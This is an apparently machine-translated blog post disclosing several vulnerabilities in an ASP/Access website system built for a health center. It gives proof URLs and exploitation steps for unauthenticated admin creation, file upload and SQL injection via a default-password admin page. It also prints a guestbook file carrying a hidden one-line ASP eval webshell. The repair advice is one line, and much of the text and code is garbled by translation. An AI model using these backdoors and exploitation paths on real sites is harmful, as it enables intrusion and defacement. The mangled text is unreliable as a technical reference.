Multiple vulnerabilities and repair of the website construction system in the health center

By Mr. DzY
From www.0855. TV
 

Today, a friend told me that his little station was hacked and asked for help to see what the problem was.
Several problems are found as follows:

: Http://down.chinaz.com/soft/30318.htm
Running Environment: ASP/Access
Background Directory: admin/login. asp

 

No.1 add an administrator

Proof of vulnerability: http://www.bkjia.com/admin/system/UserAdd.asp
Vulnerability exploitation: directly add the account admin/login. asp to log on.

No. 2 Upload Vulnerability
Proof of vulnerability: http://www.bkjia.com/admin/upfile/Upfile_Start1.asp
Vulnerability exploitation: remote submission of Dual-File Upload or tool submission.

No. 3 backdoor pony + one sentence

Proof of vulnerability: http://www.bkjia.com/admin/admin/1.asp

The root directory contains a 1. asp message book. Code:
<! -- # Include file = "conn. asp "--> <% eval request (" lyx ") %> <% if Trim (Replace (Request (" action "),"","'")) = "save" then kh_dw = Trim (Replace (Request ("kh_dw"), "", "'") lxr = Trim (Replace (Request ("lxr "), "", "'") dh = Trim (Replace (Request ("dh "),"","'")) mail = Trim (Replace (Request ("mail"), "", "'") title = Trim (Replace (Request ("title "),"", "'") content = Trim (Replace (Request ("content"), "", "'") if Request ("lxr") = "" or Requ Est ("dh") = "" or Request ("mail") = "" or Request ("title") = "" then Response. write "<script> alert ('the required item cannot be blank! '); Location. href ('ly. asp ') </script> "else SQL =" select top 1 * from liuyan where (id is null) "rs. open SQL, conn, 1, 3 Rs. addnew Rs ("kh_dw") = kh_dw Rs ("lxr") = lxr Rs ("dh") = dh Rs ("mail") = mail Rs ("title ") = title Rs ("content") = content Rs ("uptime") = Now () rs ("chayue") = "" Rs. update rs. close Response. write "<script> alert ('message successful, we will contact you as soon as possible! '); Location. href ('ly. asp') </script> "end if Set rs = nothing end if %>

Test: http://www.bkjia.com/1.asp

PS: Look at the second line. In this year, there are so many backdoors.

No. 4 Injection Vulnerability
Use: http://www.bkjia.com/Neeao_ SQL _admin.asp password: neeao
Remove and filter off characters.
Test: http://www.bkjia.com/newsx.asp? Id = 22

No. 5 vulnerability repair
Delete backdoor/change default password/Add Verification